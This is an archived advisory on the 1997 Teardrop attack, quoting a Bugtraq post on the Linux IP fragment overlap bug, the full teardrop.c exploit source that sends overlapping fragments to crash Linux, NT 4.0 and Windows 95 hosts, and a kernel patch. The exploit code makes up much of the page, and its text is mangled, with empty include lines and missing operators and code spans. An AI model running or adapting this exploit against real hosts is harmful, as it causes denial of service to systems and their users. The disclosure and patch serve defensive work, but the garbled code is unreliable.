Teardrop Attack

Windows NT Teardrop AttackReported November 13, 1997

Systems Affected

Windows NT 4.0 with SP3

Description

Source: BugtraqDate: Thu, 13 Nov 1997 22:06:15 -0800From: G P R Subject: Linux IP fragment overlap bugHelu.I wrote this post a while back when the bug was first discovered. It seems as though this bug (and patch) has gotten out, so here it is, in it"s entirety.As it happens, Linux has a serious bug in it"s IP fragmentation module. More specifically, in the fragmentation reassembly code. More specifically, the bug manifests itself in the `ip_glue()` function....When Linux reassembles IP fragments to form the original IP datagram, it runs in a loop, copying the payload from all the queued fragments into a newly allocated buffer (which would then normally be passed to the IP layer proper).

From ip_fragment.c@376:fp = qp->fragments;while(fp != NULL){if(count+fp->len > skb->len){error_to_big;}memcpy((ptr + fp->offset), fp->ptr, fp->len);count += fp->len;fp = fp->next;}While it does check to see if the fragment length is too large, which would have the kernel copy too much data, it doesn"t check to see if the fragment length is too small, which would have the kernel copy WAY too data (such is the case if fp->len is To see when this happens, we need to look at how Linux adds IP datagrams to the reassembly queue.

From ip_fragment.c@502:/** Determine the position of this fragment.*/end = offset + ntohs(iph->tot_len) - ihl;Ok. That"s nice. Now we have to look at what happens when we have overlaping fragments...

From  ip_fragment.c@531:/** We found where to put this one.* Check for overlap with preceding fragment, and, if needed,* align things so that any overlaps are eliminated.*/if (prev != NULL && offset end){i = prev->end - offset;offset += i; /* ptr into datagram */ptr += i; /* ptr into fragment data */}If we find that the current fragment"s offset is inside the end of a previous fragment (overlap), we need to (try) align it correctly. Well, this is fine and good, unless the payload of the current fragment happens to NOT contain enough data to cover the realigning. In that case, `offset` will end up being larger then `end`. These two values are passed to `ip_frag_create()` where the length of the fragment data is computed.

From ip_fragment.c@97:/* Fill in the structure. */fp->offset = offset;fp->end = end;fp->len = end - offset;This results in fp->len being negative and the memcpy() at the top will end up trying to copy entirely too much data, resulting in a reboot or a halt, depending on how much physical memory you"ve got.We can trigger this normally unlikely event by simply sending 2 specially fragmented IP datagrams. The first is the 0 offset fragment with a payload of size N, with the MF bit on (data content is irrelevant). The second is the last fragment (MF

Demonstration Code

------[Begin] -- Guby Linux -------------------------------------------------/** Copyright (c) 1997 route|daemon9 11.3.97** Linux/NT/95 Overlap frag bug exploit** Exploits the overlapping IP fragment bug present in all Linux kernels and* NT 4.0 / Windows 95 (others?)** Based off of: flip.c by klepto* Compiles on: Linux, *BSD*** gcc -O2 teardrop.c -o teardrop* OR* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING*/#include #include #include #include #include #include #include #include #include #include #include #ifdef STRANGE_BSD_BYTE_ORDERING_THING/* OpenBSD #define FIX(n) (n)#else /* OpenBSD 2.1, all Linux */#define FIX(n) htons(n)#endif /* STRANGE_BSD_BYTE_ORDERING_THING */#define IP_MF 0x2000 /* More IP fragment en route */#define IPH 0x14 /* IP header size */#define UDPH 0x8 /* UDP header size */#define PADDING 0x1c /* datagram frame padding for first packet */#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can* withstand maybe 5 or 10 sometimes... Experiment.*/void usage(u_char *);u_long name_resolve(u_char *);u_short in_cksum(u_short *, int);void send_frags(int, u_long, u_long, u_short, u_short);int main(int argc, char **argv){int one = 1, count = 0, i, rip_sock;u_long src_ip = 0, dst_ip = 0;u_short src_prt = 0, dst_prt = 0;struct in_addr addr;fprintf(stderr, "teardrop route|daemon9");if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) {perror("raw socket");exit(1);}if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)){perror("IP_HDRINCL");exit(1);}if (argc if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))){fprintf(stderr, "What the hell kind of IP address is that?");exit(1);}while ((i = getopt(argc, argv, "s:t:n:")) != EOF){switch (i){case "s": /* source port (should be emphemeral) */src_prt = (u_short)atoi(optarg);break;case "t": /* dest port (DNS, anyone?) */dst_prt = (u_short)atoi(optarg);break;case "n": /* number to send */count = atoi(optarg);break;default :usage(argv[0]);break; /* NOTREACHED */}}srandom((unsigned)(time((time_t)0)));if (!src_prt) src_prt = (random() % 0xffff);if (!dst_prt) dst_prt = (random() % 0xffff);if (!count) count = COUNT;fprintf(stderr, "Death on flaxen wings:");addr.s_addr = src_ip;fprintf(stderr, "From: %15s.%5d", inet_ntoa(addr), src_prt);addr.s_addr = dst_ip;fprintf(stderr, " To: %15s.%5d", inet_ntoa(addr), dst_prt);fprintf(stderr, " Amt: %5d", count);fprintf(stderr, "[ ");for (i = 0; i {send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);fprintf(stderr, "b00m ");usleep(500);}fprintf(stderr, "]");return (0);}/** Send two IP fragments with pathological offsets. We use an implementation* independent way of assembling network packets that does not rely on any of* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).*/void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,u_short dst_prt){u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */u_char byte; /* a byte */struct sockaddr_in sin; /* socket protocol structure */sin.sin_family = AF_INET;sin.sin_port = src_prt;sin.sin_addr.s_addr = dst_ip;/** Grab some memory for our packet, align p_ptr to point at the beginning* of our packet, and then fill it with zeros.*/packet = (u_char *)malloc(IPH + UDPH + PADDING);p_ptr = packet;bzero((u_char *)p_ptr, IPH + UDPH + PADDING);byte = 0x45; /* IP version and header length */memcpy(p_ptr, &byte, sizeof(u_char));p_ptr += 2; /* IP TOS (skipped) */*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */p_ptr += 2;*((u_short *)p_ptr) = htons(242); /* IP id */p_ptr += 2;*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */p_ptr += 2;*((u_short *)p_ptr) = 0x40; /* IP TTL */byte = IPPROTO_UDP;memcpy(p_ptr + 1, &byte, sizeof(u_char));p_ptr += 4; /* IP checksum filled in by kernel */*((u_long *)p_ptr) = src_ip; /* IP source address */p_ptr += 4;*((u_long *)p_ptr) = dst_ip; /* IP destination address */p_ptr += 4;*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */p_ptr += 2;*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */p_ptr += 2;*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,sizeof(struct sockaddr)) -1){perror("sendto");free(packet);exit(1);}/* We set the fragment offset to be inside of the previous packet"s* payload (it overlaps inside the previous packet) but do not include* enough payload to cover complete the datagram. Just the header will* do, but to crash NT/95 machines, a bit larger of packet seems to work* better.*/p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);p_ptr += 4; /* IP offset is 6 bytes into the header */*((u_short *)p_ptr) = FIX(MAGIC);if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,sizeof(struct sockaddr))

-1){if (!(host_ent = gethostbyname(host_name))) return (0);bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);}return (addr.s_addr);}void usage(u_char *name){fprintf(stderr,"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]",name);exit(0);}/* EOF */------[End] -- Guby Linux ----------------------------------------------------And the patch:------[Begin] -- Helu Linux ---------------------------------------------------- ip_fragment.c Mon Nov 10 14:58:38 1997+++ ip_fragment.c.patched Mon Nov 10 19:18:52 1997@@ -12,6 +12,7 @@* Alan Cox : Split from ip.c , see ip_input.c for history.* Alan Cox : Handling oversized frames* Uriel Maimon : Accounting errors in two fringe cases.+ * route : IP fragment overlap bug*/#include @@ -578,6 +579,22 @@frag_kfree_s(tmp, sizeof(struct ipfrag));}}++ /*+ * Uh-oh. Some one"s playing some park shenanigans on us.+ * IP fragoverlap-linux-go-b00m bug.+ * route 11.3.97+ */++ if (offset > end)+ {+ skb->sk = NULL;+ printk("IP: Invalid IP fragment (offset > end) found from %s", in_ntoa(iph->saddr));+ kfree_skb(skb, FREE_READ);+ ip_statistics.IpReasmFails++;+ ip_free(qp);+ return NULL;+ }/** Insert this fragment in the chain of fragments.------[End] -- Helu Linux ----------------------------------------------------EOF

Stopping the Problem

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Posted here at NTSecurity.Net February 15, 1997